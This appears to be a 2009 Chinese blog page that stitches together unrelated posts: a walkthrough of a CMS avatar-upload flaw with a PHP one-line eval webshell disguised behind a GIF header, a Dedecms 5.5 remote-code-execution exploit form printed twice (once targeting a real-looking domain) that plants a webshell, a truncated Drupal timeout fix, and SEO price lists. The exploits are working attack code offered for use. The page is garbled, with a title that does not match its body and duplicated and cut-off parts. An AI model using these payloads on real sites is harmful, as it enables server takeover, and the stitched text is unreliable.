shopxp网上购物系统 v7.4存在Sql注入漏洞
2009年10月31日星期六 | | 0 评论 |无法查看这则摘要。请 点击此处查看博文。
作者:st0p
转载请注明出处:http://www.st0p.org
注:不好意思了,作者早上才发的版本,晚上就叫偶给报了个0DAY,通知了下作者,刚去官方看了一下,已发布了安全补丁,很快啊..大家可以去网上下没更新版本进行测试...
唉,群里一个朋友发了一个CMS,说用户资料修改部分可能存在注入,说一起分析,本地安装好后发现,没法利用,在magic_quotes_gpc=off的情况下,单引号被转义了。。。
看到include/common.inc.php中的这行,放弃。。
1 2 3 4 5 6 7 8 9 | ...... if(!get_magic_quotes_gpc()) { $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET); $_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST); } ...... |
也许是st0p的运气好,看到有上传图片的部分,分析了一下代码,在user.php中发现利用的东西。。
1 2 3 4 5 6 | require_once(BLUE_ROOT . 'include/upload.class.php'); //调用上传类 $image = new upload(); if(isset($_FILES['face_pic']['error']) && $_FILES['face_pic']['error'] == 0){ $face_pic = $image->img_upload($_FILES['face_pic'], 'face_pic'); //没检测后缀直接带入,类中要是也没有就能传SHELL了 } |
打开include/upload.class.php发现,只是检测了文件头,没有检测后缀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | ...... class upload { private $allow_image_type = array('image/jpg', 'image/gif', 'image/png', 'image/pjpeg'); ...... function img_upload($file, $dir = '', $imgname = ''){ if(empty($dir)){ $dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/"; }else{ $dir = BLUE_ROOT.DATA.UPLOAD.$dir."/"; } if(!file_exists($dir)){ if(!mkdir($dir)){ showmsg('上传过程中创建目录失败'); } } if(empty($imgname)){ $imgname = $this->create_tempname().$this->get_type($file['name']); } $imgname = $dir . $imgname; if(!in_array($file['type'],$this->allow_image_type)){ //只是检测了文件头部来着,那我们就直接构造一个SHELL就好了 showmsg('不允许的图片类型'); } } |
把以上内容另存为st0p.php
1 2 | GIF89a <?php eval($_POST[st0p]);?> |
注网帐号,登陆,会员中心-->我的个人资料,然后上传新图像选咱们构造的PHP文件,点确认修改,成功后,直接在照片上右击查看地址就行了。。一句话SHELL上传成功!
分析完毕,嘿嘿,希望大家多交流,这些东西发出来只是想多认识些朋友,一起讨论技术,开设群也是这样,由于只是普通群,只能有100人,今天清理了下从未说话的人,竟被人说我在装B乱T人,郁闷,开群就是为了交流,不说话一直占位有何用,想进步的话,孤高之路不可走!
如果你进群只是为了从别人那得到别人的讨论成果,不知道付出或只是加进来潜水的,那还是不加的好。。。
Dedecms 5.5
漏洞产生文件位于include\dialog\select_soft_post.php,其变量$cfg_basedir没有正确初始化,导致可以饶过身份认证和系统变量初始化文件,导致可以上传任意文件到指定目录。其漏洞利用前提是register_globals=on,可以通过自定义表单为相关的变量赋值。
by:Flyh4t*>
<html> <head> <title>Dedecms v55 RCE Exploit Codz By flyh4t</title> </head> <body style="FONT-SIZE: 9pt"> ---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br /> <form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'> <input type='hidden' name='activepath' value='/data/cache/' /> <input type='hidden' name='cfg_basedir' value='../../' /> <input type='hidden' name='cfg_imgtype' value='php' /> <input type='hidden' name='cfg_not_allowall' value='txt' /> <input type='hidden' name='cfg_softtype' value='php' /> <input type='hidden' name='cfg_mediatype' value='php' /> <input type='hidden' name='f' value='form1.enclosure' /> <input type='hidden' name='job' value='upload' /> <input type='hidden' name='newname' value='fly.php' /> Select U Shell <input type='file' name='uploadfile' size='25' /> <input type='submit' name='sb1' value='确定' /> </form> <br />It's just a exp for the bug of Dedecms V55...<br /> Need register_globals = on...<br /> Fun the game,get a webshell at /data/cache/fly.php...<br /> </body> </html>
暂无 请关注官方补丁
影响版本:Dedecms 5.5
漏洞产生文件位于include\dialog\select_soft_post.php,其变量$cfg_basedir没有正确初始化,导致可以饶过身份认证和系统变量初始化文件,导致可以上传任意文件到指定目录。其漏洞利用前提是register_globals=on,可以通过自定义表单为相关的变量赋值。代码如下:
<html><head><title>Dedecms v55 RCE Exploit Codz By flyh4t</title></head> <body style="FONT-SIZE: 9pt">---------- Dedecms v55 RCE Exploit Codz By flyh4t ---------- <br /><br /> <form action=http://url/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'> <input type='hidden' name='activepath' value='/data/cache/' /> <input type='hidden' name='cfg_basedir' value='../../' /> <input type='hidden' name='cfg_imgtype' value='php' /> <input type='hidden' name='cfg_not_allowall' value='txt' /> <input type='hidden' name='cfg_softtype' value='php' /> <input type='hidden' name='cfg_mediatype' value='php' /> <input type='hidden' name='f' value='form1.enclosure' /> <input type='hidden' name='job' value='upload' /> <input type='hidden' name='newname' value='fly.php' /> Select U Shell <input type='file' name='uploadfile' size='25' /> <input type='submit' name='sb1' value='确定' /> </form> <br /> It's just a exp for the bug of Dedecms V55...<br /> Need register_globals = on...<br /> Fun the game,get a webshell at /data/cache/fly.php...<br /> </body> </html> |
请自行修改form表单对应的网站域名url。
Fatal error: Maximum execution time of 30 seconds exceeded in D:\wamp\www\drupal\includes\common.inc on line 501
是因为程序执行时间超过了最大允许执行时间
解决办法:
修改php.ini:
max_execution_time = 300 ,秒可以设置更大,这里是300秒,然后重起服务
如果修改php.ini的办法还是不行,就试试这样,找到你的Drupal站点的settings.php,在里面的ini_set部分底下新加一行
ini_set('max_execution_time', 100); 使Drupal自己去设置最大执行时间,也就是调用了set_time_limit(100) ,0为无限制
然后试试看,基本就可以解决问题了
如果还不可以的话说明你之前安装的模块过多或者你的一个模块关联的模块过多,可以再加上几十秒到上百秒不等,反正安装模块的时候不是很多,多等一会无所谓。
但是看过台湾阿舍得经验谈后,建议还是在你安装成功模块后,还是注掉ini_set('max_execution_time', 时间);这行,比较安全
网上还有个解决办法是修改数据库文件,大至如下,也可以尝试一下:
找到mysql的根目录下的my.ini(my.cnf)文件,打开后找到最后一行
[mysqld]
port=3306
下面加上:
set-variable =
我们来看看国外提供的seo服务内容和seo报价。
这个是比中国还便宜的某国seo服务商提供的号称世界上最便宜的价格。报价服务期限从6个月开始计算。
我把服务价格和内容整理到下面,可以供seo服务人员报价时参考。
结合seo和品牌营销组合,他们提供的银卡,金卡,白金卡各级捆绑seo和互联网营销服务。
银卡( $ 250/month )为您提供了充分的seo优化和每月基本优化的公关合作伙伴。满足小公司紧张的预算。
6 month - $1500
12 month - $3000
18 month - $4500
特点:
免费没有义务初步seo的报告(价值$250 )
深度关键字研究
竞争力分析
完全"网页 "优化
创新的主题链接页
Google的XML格式的Sitemap
robot.txt 优化
编辑适合seo的内容
seo自定义登陆页面
搜索引擎提交
图形和ALT标记优化
每月报告
电子邮件支持
帐户管理
免费咨询搜索引擎的新兴趋势
网络营销的特点:
每月优化的公关合作伙伴。
金卡( $ 450/month )为您提供了充分的seo优化及每周优化的公关合作伙伴。更好地为中小型新兴的公司,在市场营销中多一点投资。
6 month - $2700
12 month - $5400
18 month - $8100
特点:
免费没有义务初步seo的报告(价值$250 )
深度关键字研究
竞争力分析
完全"网页 "优化
创新的主题链接页
Google的XML格式的Sitemap
robot.txt 优化
编辑适合seo的内容
seo自定义登陆页面
搜索引擎提交
图形和ALT标记优化
每月报告
电子邮件支持
帐户管理
免费咨询搜索引擎的新兴趋势
网络营销的特点:
每周优化的公关合作伙伴。
白金卡( $ 1100/month )为您提供了充分的seo优化和我们的总网络营销组合服务,其中包括每周优化的公关合作伙伴结合每周博客网络联合供稿和双周刊出版的专题文章。建议高增长公司需要竞争的市场地位。
6 month - $6600
12 month - $13200
18 month - $19800
特点:
免费没有义务初步seo的报告(价值$250 )
深度关键字研究
竞争力分析
完全"网页 "优化
创新的主题链接页
Google的XML格式的Sitemap
robot.txt 优化
编辑适合seo的内容
seo自定义登陆页面
搜索引擎提交
图形和ALT标记优化
每月报告
电子邮件支持
帐户管理
免费咨询搜索引擎的新兴趋势
网络营销的特点:
每周最佳公关合作伙伴。
每周优化博客联合供稿。
双周刊优化集团的文章发布。
服务类型 要求 排名效果[如有竞价,则顺推] 价格 普及型 用户提供5-15个关键字 保证至少1个关键字百度左侧排名前10位 2000元 推广型 用户提供10-15个关键字 保证至少3个关键字排名前20位,其中一个前10名 7000元 专业型 用户提供15-20个关键字 保证至少5个关键字排名前20位,其中三个前10名 14000元 说明[适用于可选关键词左侧优化排名]: 以下情况左侧优化排名seo价格个案处理: A)关键词过热或相关性竞争过高。 B)要求的排名位置不包括在以上所列范围。 C)客户其他的特殊要求,需要另行考虑左侧优化排名SEO报价的。 百度 左侧优化排名SEO报价(指定关键词) 关键词 热门程度 相关性 SEO报价 (元/关键词) 排名效果[如有竞价,则顺推] 冷门 关键词搜索结果30万以内 低 2000 排名前10 中 3000 排名前10 高 6000起 排名前10 一般 搜索结果30万到100万 低 3000 排名前10 中 4000 排名前10 高 7000起 排名前10 频繁 搜索结果100万到300万 低 4000 排名前10 中 5000 排名前10 高 9000起 排名前10 热门 搜索结果300万以上 低 5500 排名前10 中 7000 排名前10 高 12000起 排名前10 说明[适用于指定关键词左侧优化排名]: 1) 给出多个关键词,可选择性优化排名其中的1-3个关键词,可以获得优惠的左侧优化排名价格。 2) 以下情况seo价格个案处理: A)关键词过热或相关性竞争过高。 B)要求的排名位置不包括在以上所列范围。 C)客户其他的特殊要求,需要另行考虑左侧优化排名SEO报价的。 Google左侧优化排名SEO报价(可选关键词) 服务类型 要求 排名效果 价格 普及型 用户提供5-15个关键字 保证至少1个关键字Google左侧排名前10位 2000元 推广型 用户提供10-15个关键字 保证至少3个关键字排名前20位,其中一个前10名 7000元 专业型 用户提供15-20个关键字 保证至少5个关键字排名前20位,其中三个前10名 14000元 说明[适用于可选关键词左侧优化排名]: 以下情况左侧优化排名seo价格个案处理: A)关键词过热或相关性竞争过高。 B)要求的排名位置不包括在以上所列范围。 C)客户其他的特殊要求,需要另行考虑左侧优化排名SEO报价的。 Google左侧优化排名SEO报价(指定关键词) 关键词 效果 相关性 SEO报价 (元/关键词) 排名效果 冷门 关键词搜索结果30万以内 低 2000 排名前10 中 3000 排名前10 高 6000起 排名前10 一般 搜索结果30万到100万 低 3000 排名前10 中 4000 排名前10 高 7000起 排名前10 频繁 搜索结果100万到300万 低 4000 排名前10 中 5000 排名前10 高 9000起 排名前10 热门 搜索结果300万以上 低 5500 排名前10 中 7000 排名前10 高 12000起 排名前10 说明[适用于指定关键词左侧优化排名]: 1) 给出多个关键词,可选择性优化排名其中的1-3个关键词,可以获得优惠的左侧优化排名价格。 2) 以下情况价格个案处理: A)关键词过热或相关性竞争过高。 B)要求的排名位置不包括在以上所列范围。 C)客户其他的特殊要求,需要另行考虑左侧优化排名SEO报价的。
所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected] |